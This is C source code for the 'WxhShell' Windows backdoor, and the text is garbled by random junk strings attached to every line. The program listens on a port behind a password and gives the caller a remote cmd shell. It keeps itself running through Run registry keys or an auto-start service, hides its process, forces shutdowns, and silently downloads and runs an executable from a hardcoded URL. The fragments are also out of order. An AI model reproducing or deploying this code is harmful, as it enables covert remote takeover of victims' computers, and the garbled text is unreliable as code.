  case 'd': { pi"H?EHk  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ,-pE/3|(  
    if(Boot(SHUTDOWN)) uBm"Xkxe|w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |p|Zv H  
    else { 2@|`Ugjptl  
    closesocket(wsh); -/Q5?0z  
    ExitThread(0); pHeG{<^  
    } 11H`WOTQF  
    break; L< F8+a7i  
    } I\@r ~]+y  
  // 获取shell Q dj(D\.  
  case 's': { wNf:_^|}  
    CmdShell(wsh); UUt"8]@[  
    closesocket(wsh); yZleots1  
    ExitThread(0); e=sc$1|4=  
    break; mxv ?PP  
  } 2f,8Jnia  
  // 退出 ='7m$,{(Q[  
  case 'x': { -$d?e%}#  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); h,{m{Xh  
    CloseIt(wsh); RHF"$6EAFG  
    break; uJ% <+I  
    } 7>Scf  
  // 离开 W{6QvQD8  
  case 'q': { z74JyY  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); PUdv1__C  
    closesocket(wsh); xWLvx'8W  
    WSACleanup(); CNB weM  
    exit(1); I,?NYIG"(  
    break; %_!/4^smE  
        } C;BO6$*_e  
  } a"#t'\  
  } ;d?BVe?  
Xb _ V\b0  
  // 提示信息 S:xXD^n#H  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); c1H.v^Y5  
} V+gZjuN$  
  } {]CZgqE{  
vt EfH  
  return; 46?z*~*G  
} W{,fpm  
Hv/C40uM-  
// shell模块句柄 eR!# 1ar  
int CmdShell(SOCKET sock) m<gdyY   
{ }+,Q&]>~  
STARTUPINFO si; 1c$pz:$vX  
ZeroMemory(&si,sizeof(si)); BtJkvg(2]  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; l)u%`Hcn  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; |IAx!Z-P  
PROCESS_INFORMATION ProcessInfo; ndSu-8?L  
char cmdline[]="cmd"; CsR[@&n'  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); mF6-f#t>H+  
  return 0; 6uRE9h|  
} xdSMYH{2A  
HSruue8  
// 自身启动模式 RoqkT|#$  
int StartFromService(void) a*M|_&MH*  
{ %['NPs%B  
typedef struct 1mFH7A($  
{ '(]Wtx%9"  
  DWORD ExitStatus; NEBhVh  
  DWORD PebBaseAddress; Qf:e;1F!  
  DWORD AffinityMask;  ][ $UN  
  DWORD BasePriority; S>lP?2J  
  ULONG UniqueProcessId; e~vO   
  ULONG InheritedFromUniqueProcessId; <&eJIz=  
}   PROCESS_BASIC_INFORMATION; `,O7S9]R+  
{z oGwB  
PROCNTQSIP NtQueryInformationProcess; 6#=Iv X4  
"im5Fnu  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; |~9jO/&r  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; eaRa+ <#u  
HNZ$CaJh  
  HANDLE             hProcess; iM .yen_vp  
  PROCESS_BASIC_INFORMATION pbi; VwR\"8r3  
$WYt`U;*lj  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ekx(i QA  
  if(NULL == hInst ) return 0; [if(B\&  
X}#vt?mu  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); G4 7^xR  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); w,1N ;R&  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 9SC1A-nF  
|$ PA  
  if (!NtQueryInformationProcess) return 0; AbNr]w&pXC  
-x ?Z2EA!  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); $1=7^v[U  
  if(!hProcess) return 0; JuJW]E Q  
Uw4iWcC  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; .-$3I|}X=  
WsTIdr36x  
  CloseHandle(hProcess); Y%}&eN$r  
9Qyc!s`  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); <EnmH/C.  
if(hProcess==NULL) return 0; 60{G 4b)  
QMMpB{FZ`o  
HMODULE hMod; |QS|\8g{0V  
char procName[255]; :[a*I6/^  
unsigned long cbNeeded; bWL!=  
'v'[_(pq  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); .XgY&5Qk  
s:{[Y7\?  
  CloseHandle(hProcess); !>(uhuTBF  
'e:4  
if(strstr(procName,"services")) return 1; // 以服务启动 X -1r$.  
Vg62HZ |  
  return 0; // 注册表启动 lLQcyi0  
} J@_M%eN  
$2FU<w$5  
// 主模块 U*nB= =  
int StartWxhshell(LPSTR lpCmdLine) wQW` Er3w  
{ .i\ FK@2  
  SOCKET wsl; ;)ay uS sQ  
BOOL val=TRUE; H[w';u[%  
  int port=0; dpz@T>MS=  
  struct sockaddr_in door; ?z&n I#  
shB3[W{}!)  
  if(wscfg.ws_autoins) Install(); jl59;.P  
S^R dj ]  
port=atoi(lpCmdLine); @ws&W=NQ  
JQb{?C  
if(port<=0) port=wscfg.ws_port; Vu_oxL}  
e&ti(Q=  
  WSADATA data; Ft;x@!h%  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; |HAbZd7PG  
U ]pE{ ^\w  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   gwNZ`_Q  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); >~d'i  
  door.sin_family = AF_INET; 5[2kk5,  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); *~U*:>hS  
  door.sin_port = htons(port); y ;mk]  
5[g&0  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { \<I&utn  
closesocket(wsl); :V$\y up  
return 1; GX23c i  
} i^WY/ OhL  
~ !ei]UP  
  if(listen(wsl,2) == INVALID_SOCKET) { $,Q] GIC  
closesocket(wsl); )fo0YpE^|  
return 1; JCxQENsVqB  
} cZ%tJ(&\7X  
  Wxhshell(wsl); R|@~<*  
  WSACleanup(); idHI)6!  
o5/BE`VD5c  
return 0; aF/DFaiYv  
xd `MEOY  
} 3'p 1m`8  
3LyNi$`f  
// 以NT服务方式启动 t=eI*M+>h  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) UZsvYy?  
{ N_Ezp68Fp  
DWORD   status = 0; 7r:&%?2:g  
  DWORD   specificError = 0xfffffff; |FFz $'8)  
BN(=LQ2["  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 1z|bQ,5  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; xA^E+f:W_  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; lpPPI+|4N  
  serviceStatus.dwWin32ExitCode     = 0; '<,Dz=  
  serviceStatus.dwServiceSpecificExitCode = 0; X<_HQ  
  serviceStatus.dwCheckPoint       = 0; XD8Cf!  
  serviceStatus.dwWaitHint       = 0; Qu<6X@+5  
Xz:ha >}C  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); X}G$ON  
  if (hServiceStatusHandle==0) return; m{$+  
v`L]dY4,  
status = GetLastError(); %J'/cmR&  
  if (status!=NO_ERROR) ;k0Jl0[}  
{ d<Lc&wlP  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; NHUJ:j@  
    serviceStatus.dwCheckPoint       = 0; +<$nZ=,hsy  
    serviceStatus.dwWaitHint       = 0; S/*\j7cj  
    serviceStatus.dwWin32ExitCode     = status; @gqZiFM)  
    serviceStatus.dwServiceSpecificExitCode = specificError; Rkg)yme!N  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4cy,'B  
    return; qh W]Wd" g  
  } \{Q_\s&)  
Z[&FIG% tV  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; P )oNNY6}  
  serviceStatus.dwCheckPoint       = 0; Y(aUB$"  
  serviceStatus.dwWaitHint       = 0; PN99 R]K0g  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); P3!@}!r8  
} "N'W~XPG  
D 9;pjY  
// 处理NT服务事件,比如:启动、停止 vC1fKo\p  
VOID WINAPI NTServiceHandler(DWORD fdwControl) L9^ M?.a  
{ *BrGh  
switch(fdwControl) !\VEUF,K?  
{ s% rmfIp"  
case SERVICE_CONTROL_STOP: MrUjqv6a[  
  serviceStatus.dwWin32ExitCode = 0; Nk7=[y#z  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; u,:hT] ~+  
  serviceStatus.dwCheckPoint   = 0; GL>YJ%  
  serviceStatus.dwWaitHint     = 0; y(iq  
  { ->OVNmCB`+  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); nT01B1/<]  
  } %hmRh~/&  
  return; &=S:I!9;;  
case SERVICE_CONTROL_PAUSE: `, ]ui*  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; og8hc~:ro  
  break; I*N v|HST  
case SERVICE_CONTROL_CONTINUE: f tl$P[T  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; K@:omT  
  break; .* `]x  
case SERVICE_CONTROL_INTERROGATE: @J>JZ7m]\  
  break; SHSfe{n  
}; bxwwYSS  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); z}==6| {  
} teb(gUy}L6  
6DU(KYN  
// 标准应用程序主函数 %=*|: v  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) zICCSF&H  
{ %MGt3)  
2[=3-1c  
// 获取操作系统版本 "~.4z,ha  
OsIsNt=GetOsVer(); Yh^8 !  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Ri AMW|M"C  
kf<c[su  
  // 从命令行安装 NCT:!&  
  if(strpbrk(lpCmdLine,"iI")) Install(); hP'4PLK  
Tc"J(GWG  
  // 下载执行文件 7vRp<  
if(wscfg.ws_downexe) { wC%qSy'  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) y'b*Dk{  
  WinExec(wscfg.ws_filenam,SW_HIDE); R|$b\3  
} iO Z#}"  
i?b9zn  
if(!OsIsNt) { b{aB^a:f=L  
// 如果时win9x,隐藏进程并且设置为注册表启动 04}8x[t  
HideProc(); )\D{5j  
StartWxhshell(lpCmdLine); 2[(~_VJ  
} WK?5`|1l:x  
else 3O-vO=D  
  if(StartFromService()) xR kw+  
  // 以服务方式启动 j `!Ge  
  StartServiceCtrlDispatcher(DispatchTable); nhMxw @Z\  
else xDl; tFI  
  // 普通方式启动 &uc`w{,Zs  
  StartWxhshell(lpCmdLine); dG0zA D  
NZZy^p&O  
return 0; M:oM(K+  
} $kN=45SR  
oj{CNa  
\1<|X].jNY  
!"yr;t>|Zb  
=========================================== 7T6Zlp  
5y g`TW  
?B e}{Qqlg  
aaKf4}  
7q;`~tbC  
m44a HBwId  
" ^$% Sg//  
(y6}xOa(  
#include <stdio.h> :Cx|(+T  
#include <string.h> }@t" B9D  
#include <windows.h> 1|w@f&W"  
#include <winsock2.h> K^@9\cl^  
#include <winsvc.h> z k}AGw  
#include <urlmon.h> j%y{d(Q4  
g"|>^90  
#pragma comment (lib, "Ws2_32.lib") FP=27=  
#pragma comment (lib, "urlmon.lib") L~;(M6Jp  
rOE: ap|KL  
#define MAX_USER   100 // 最大客户端连接数 *k8?$(  
#define BUF_SOCK   200 // sock buffer AIn/v`JeX  
#define KEY_BUFF   255 // 输入 buffer EZjtZMnj  
h/{1(c}  
#define REBOOT     0   // 重启 w< Xwz`O  
#define SHUTDOWN   1   // 关机 JttDRNZAU  
[PUu9rz#  
#define DEF_PORT   5000 // 监听端口 y9d"sqyh  
`#l3a  
#define REG_LEN     16   // 注册表键长度 (57!{[J  
#define SVC_LEN     80   // NT服务名长度 T_D] rMl  
.1;UEb|T  
// 从dll定义API ;>5`Y8s6  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); LFW`ISY{  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); N%Ta. `r  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); %c\k LSe  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); u<cnz% @  
]OdZlZBsJ  
// wxhshell配置信息 4c(Em+ 4  
struct WSCFG { I-g/ )2  
  int ws_port;         // 监听端口 dTK0lgkUE  
  char ws_passstr[REG_LEN]; // 口令 $fg@g7_:  
  int ws_autoins;       // 安装标记, 1=yes 0=no 8Vj'&UY  
  char ws_regname[REG_LEN]; // 注册表键名 #>bj6<  
  char ws_svcname[REG_LEN]; // 服务名 :EQ{7Op`  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 7_ayn#;y  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 p)iEwl}!j  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 0'Ho'wDb  
int ws_downexe;       // 下载执行标记, 1=yes 0=no , p~1fB-/  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" J+E,UiZU  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 }]mx Kz  
Kd^.>T-  
}; 1F5KDWtE  
[H <TcT8  
// default Wxhshell configuration M :}u|  
struct WSCFG wscfg={DEF_PORT, b=/'c Q  
    "xuhuanlingzhe", Wpl/CO5z  
    1, HW~-GcU-o  
    "Wxhshell", qT(6TP  
    "Wxhshell", P][jB  
            "WxhShell Service", uz{RV_IX7  
    "Wrsky Windows CmdShell Service", jci,]*X4  
    "Please Input Your Password: ", hF0,{v  
  1, YVDFcN9v  
  "http://www.wrsky.com/wxhshell.exe", io+V4m  
  "Wxhshell.exe" ]nB|8k=J  
    }; \298SH(!7  
u>:(MARsR  
// 消息定义模块 /o m++DxV  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; RhHm[aN  
char *msg_ws_prompt="\n\r? for help\n\r#>"; NvJ5[W  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 1F`jptVQ\G  
char *msg_ws_ext="\n\rExit."; Px=@Tw N,  
char *msg_ws_end="\n\rQuit."; 6^'BTd  
char *msg_ws_boot="\n\rReboot..."; qJdlZW<  
char *msg_ws_poff="\n\rShutdown..."; )'U0n`=  
char *msg_ws_down="\n\rSave to "; A/'po_'uy  
ySmbX  
char *msg_ws_err="\n\rErr!"; .nrllVG%`  
char *msg_ws_ok="\n\rOK!"; v}Ju2}IK  
18Y#=uH}  
char ExeFile[MAX_PATH]; @0@ZlH wM  
int nUser = 0; sg^|dS{3D  
HANDLE handles[MAX_USER]; Wvr{l  
int OsIsNt; s b;q)Rh  
\$w kr  
SERVICE_STATUS       serviceStatus; P7.bn  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; &R%'s1]o  
,?|$DY+=  
// 函数声明 OA[e}Vn  
int Install(void); WrGnLE kiV  
int Uninstall(void); Mq Ai}z%  
int DownloadFile(char *sURL, SOCKET wsh); vW=L{8zu  
int Boot(int flag); .N qXdari  
void HideProc(void); jhm??Af  
int GetOsVer(void); m<-ShRr*b  
int Wxhshell(SOCKET wsl); , [|aWT%9  
void TalkWithClient(void *cs); z6Ob X  
int CmdShell(SOCKET sock); -U=Ci  
int StartFromService(void); a9.yuSzL  
int StartWxhshell(LPSTR lpCmdLine); _rwJ: r  
A<X?1$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); )?$[iu7 s  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Q# B0JT1  
2aM7zP[Z  
// 数据结构和表定义 | ]*3En:  
SERVICE_TABLE_ENTRY DispatchTable[] = $mn0I69  
{ D=#RQ-  
{wscfg.ws_svcname, NTServiceMain}, ",$_\l  
{NULL, NULL} fu^W# "{  
}; BHUI1y5t  
A#=TR_@:  
// 自我安装 ! ;t\lgMl  
int Install(void) 2]5{Xmmo9  
{ 8D*nU3O   
  char svExeFile[MAX_PATH]; EsMX #1>/m  
  HKEY key;  -BSdrP|  
  strcpy(svExeFile,ExeFile); Oo|PZ_P  
Vb (b3  
// 如果是win9x系统,修改注册表设为自启动 (.ir"\k1(  
if(!OsIsNt) { Db,"Gl  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {rUg,y{v  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); eluN~T:W  
  RegCloseKey(key); @&ZQDi  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { yWi-ic [n  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5G f@n/M"  
  RegCloseKey(key); T+<.KvO-  
  return 0; -!j6&  
    } "o&8\KSs  
  } cs+3&T: ,*  
} eThaH0  
else { G.rz6o;  
<e2l@@#oy  
// 如果是NT以上系统,安装为系统服务 -fq  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); K($l>PB,y@  
if (schSCManager!=0) l_^SU8i57  
{ W,<q!<z\t  
  SC_HANDLE schService = CreateService !!y]pMjJa@  
  ( t}YcB`q)  
  schSCManager, <+QQiFj  
  wscfg.ws_svcname, \VNu35* J|  
  wscfg.ws_svcdisp, 7FG;fJ;&NZ  
  SERVICE_ALL_ACCESS, %f;dn<m=c  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , E~%n-A  
  SERVICE_AUTO_START, h1w({<q*ov  
  SERVICE_ERROR_NORMAL, l6/VJ~(}'  
  svExeFile, /4&gA5BS]  
  NULL, 1!<t8,W4  
  NULL, @8|*Ndx2  
  NULL, ^+_rv  
  NULL, |C [!A  
  NULL dHc\M|HCC  
  ); +OE!Uqnt  
  if (schService!=0) 94"+l@K  
  { hmu>s'  
  CloseServiceHandle(schService); 7Y5r3a}%  
  CloseServiceHandle(schSCManager); [.gk{> #  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ngo> ^9/8  
  strcat(svExeFile,wscfg.ws_svcname); n)e2?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { nkW})LyB\  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); vI{aF- #  
  RegCloseKey(key); (pxH<k=Ah  
  return 0; .XJ'2yKof  
    } 7n7Xyb  
  } XX8HSw!w  
  CloseServiceHandle(schSCManager); vMTf^V  
} Q(bOar5  
} tbFAVGcAM  
iW5cEI%tb  
return 1; q/#e6;x  
} ]r Uj<[O  
YOl$sgg}  
// 自我卸载 X1Yw=t~a  
int Uninstall(void) F]\ Sk'}&  
{ t'n@yX_  
  HKEY key; 3UZd_?JI[^  
x-BU$bx5  
if(!OsIsNt) { I/O3OD  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Xs0)4U  
  RegDeleteValue(key,wscfg.ws_regname); mUBy*.  
  RegCloseKey(key); 2q~ .,vpP  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \SWTP1  
  RegDeleteValue(key,wscfg.ws_regname); XF!L.'zH  
  RegCloseKey(key); JrzPDb`m  
  return 0; PCviQ!X  
  } RM;a]g*  
} g#5R|| r  
} +fP.Ewi  
else { -?Cr&!*B  
G:AA>t  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 7v5]% %E/  
if (schSCManager!=0) 3l{V:x!9@  
{ ${f<}  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); d^C@5Pd <  
  if (schService!=0) a(gXvgrf[  
  { TSB2]uH  
  if(DeleteService(schService)!=0) { ? doI6N0T  
  CloseServiceHandle(schService); Cv**iW  
  CloseServiceHandle(schSCManager); )~ ( *q  
  return 0; _@DOH2 lXJ  
  } B=|R?t (*  
  CloseServiceHandle(schService); w*F[[*j@.  
  } Qg4D*r\|@  
  CloseServiceHandle(schSCManager); y )QLR<wf  
} qSY\a\.<  
} & l>nzJ5?  
{wqT$( (<  
return 1; @<\oM]jX  
} bMO^}qR`  
k@4N7}  
// 从指定url下载文件 @8L5 UT  
int DownloadFile(char *sURL, SOCKET wsh) M\]lNQA  
{ i|eX X)$  
  HRESULT hr; `"5U b,~  
char seps[]= "/"; +A}t_u3<  
char *token; fap`;AuwK  
char *file; FM {f{2j  
char myURL[MAX_PATH]; $L*gtZ  
char myFILE[MAX_PATH]; q0.!T0i  
IZZAR  
strcpy(myURL,sURL); (i~UH04r>s  
  token=strtok(myURL,seps); c4H6I~2Na  
  while(token!=NULL) / Hr|u  
  { B2;P%B  
    file=token; uo"<}>iJ  
  token=strtok(NULL,seps); wC1pfXa  
  } _*mn4n=  
%e iV^>  
GetCurrentDirectory(MAX_PATH,myFILE); @ {/)k%U  
strcat(myFILE, "\\"); "Z.6@ c7  
strcat(myFILE, file); p{Lrv%-j  
  send(wsh,myFILE,strlen(myFILE),0); ynI e4b  
send(wsh,"...",3,0); ]A5F}wV4  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); z !K2UTX  
  if(hr==S_OK) 7HPwlS  
return 0; jSI1tW8  
else fn}E1w  
return 1; ~+Wx\:TT  
PCT&d)}  
} Mu3G/|t(  
<.h7xZ  
// 系统电源模块 WVP?Ie8  
int Boot(int flag) "N+4TfXy  
{ .p[uIRd`  
  HANDLE hToken; Kb;*"@LX  
  TOKEN_PRIVILEGES tkp; WtOjPW  
g}_2T\$k  
  if(OsIsNt) { %1?t)Bg  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Z(MZbzY7Hq  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); CFpBosoFt^  
    tkp.PrivilegeCount = 1; j.=:S;  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 9Yt|Wj  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); '2lV(>"  
if(flag==REBOOT) { pDS[ecx  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 2yfU]`qN  
  return 0; !>48`o ^  
} 6z\!lOVjb  
else { a 0SZw  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) v5[gFY(?  
  return 0; Vn#}f=u\  
} Ed=/w6<  
  } +hRy{Ps/  
  else {  2E*=EjGV  
if(flag==REBOOT) { tA(oD4H9  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 8"h;+;  
  return 0; fG \" p  
} Ej(BE@6>s  
else { ZqclmCi  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) SeHrj&5U  
  return 0; S{^x]h|?  
} bxE~tsM"@Y  
} aL(G0@(  
j4XVk@'OX  
return 1; 64'2ICf#m  
} O=%Ht-kOc  
Snkb^Kt  
// win9x进程隐藏模块 ffP]U4  
void HideProc(void) rN1]UaT  
{ ; hQ[-  
j/t%7,  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 6u_i >z  
  if ( hKernel != NULL ) "Q@m7j)(  
  { .gO|=E"  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); v!I z&M:z  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); & AK\Pw)  
    FreeLibrary(hKernel); I~l qg  
  } {V7mpVTX.  
`l45T~`]$  
return; Ta[2uv>  
} onu G  
lf"w/pb'  
// 获取操作系统版本 ';R]`vWFe  
int GetOsVer(void) b ri[&=  
{ x-i,v"8  
  OSVERSIONINFO winfo; L } R"1O  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 7rD 8  
  GetVersionEx(&winfo); tav@a)  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) gdIk%m4  
  return 1; "|JbdI]%P  
  else EMnz;/dMt  
  return 0; (Z<@dkO?)  
} <lzC|>BG  
OV{v6,>O  
// 客户端句柄模块 :2j`NyLI.  
int Wxhshell(SOCKET wsl) RQ=rB9~:ZN  
{ U*+-#  
  SOCKET wsh; 18X?CoM~  
  struct sockaddr_in client; h1S)B|~8  
  DWORD myID; (?Ko:0+*  
.6MG#N  
  while(nUser<MAX_USER) hTa X@=Ra  
{ P4B|l:  
  int nSize=sizeof(client); qt9jZtx  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); =|J*9z;  
  if(wsh==INVALID_SOCKET) return 1; c&PsT4Wh  
)q{qWobS0  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); +mjwX?yF  
if(handles[nUser]==0) A\?t^T  
  closesocket(wsh); T"99m^y  
else Tu-lc)  
  nUser++; g7323m1=  
  } 0j8fU7~6S  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); GyL9}  
oI#TjF  
  return 0; +788aK,{#  
} =w`Mc\o"  
7=G6ao7  
// 关闭 socket |6^a[x3/U  
void CloseIt(SOCKET wsh) Xr^ 5Th\  
{ rhLhFN{h  
closesocket(wsh); @(L}:]{@  
nUser--; 25Ee+&&%  
ExitThread(0); G-i2#S   
} g5U,   
MR|A_e^x  
// 客户端请求句柄 t,LK92?  
void TalkWithClient(void *cs) &n,v@ gt  
{ 0`zdj  
oi`L ;w|]  
  SOCKET wsh=(SOCKET)cs; BcQUD?LC`  
  char pwd[SVC_LEN]; 4U\>TFO  
  char cmd[KEY_BUFF]; W'"hjQ_  
char chr[1]; uPl7u 1c  
int i,j; m> +  
x .@O]}UH  
  while (nUser < MAX_USER) { K 'I6iCrD  
xJw" 8V<  
if(wscfg.ws_passstr) { 3B;Gm<fJ9N  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1PxRj  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); kKRu]0J~[  
  //ZeroMemory(pwd,KEY_BUFF); . AA# G  
      i=0; < e3] pM  
  while(i<SVC_LEN) { L [PqEN\i  
)'jGf;du  
  // 设置超时 B Hp>(7,  
  fd_set FdRead; ] K&ca  
  struct timeval TimeOut; H.M: cD:  
  FD_ZERO(&FdRead); xY)eU;*  
  FD_SET(wsh,&FdRead); !.%*Tp#k#  
  TimeOut.tv_sec=8; K"[jrvZ=  
  TimeOut.tv_usec=0; =W2.Nc  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); #IGcQY  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); M &-p  
K?M~x&Q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ThP~k9-  
  pwd=chr[0]; -J!n7  
  if(chr[0]==0xd || chr[0]==0xa) { S7J.(; 82  
  pwd=0; EO(l?Fgw]$  
  break; ?r =`Kl  
  } t,TlW^-  
  i++; g_ep 5#\D  
    } gLSI?  
_"F=4`lJ  
  // 如果是非法用户,关闭 socket 8~qpOQX^V  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 3<.DiY  
} 6Jy%4]wK  
ZuWh gnp  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); fN{wP,jI  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }JOz,SQHP  
>=rniHs=?7  
while(1) { /(||9\;  
^xk4HF   
  ZeroMemory(cmd,KEY_BUFF); ;s~xS*(C  
D]d! lMK/  
      // 自动支持客户端 telnet标准   B^M L}$  
  j=0; R4)l4rnO  
  while(j<KEY_BUFF) { wqm{f~nj=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); vR#MUKfh  
  cmd[j]=chr[0]; CBdr 1  
  if(chr[0]==0xa || chr[0]==0xd) { K~]Xx~F  
  cmd[j]=0; orWF>o=1  
  break; 5Th\wTh04  
  } lp d~U2&  
  j++;  o4 "HE*  
    } 1Z_]Ge<a  
}x{1{Bw>Y  
  // 下载文件 L4+R8ojG  
  if(strstr(cmd,"http://")) { J7wwM'\  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); gzK/l:  
  if(DownloadFile(cmd,wsh)) rx]Q,;"  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); .@r{Tq,%q8  
  else H[g i`{c  
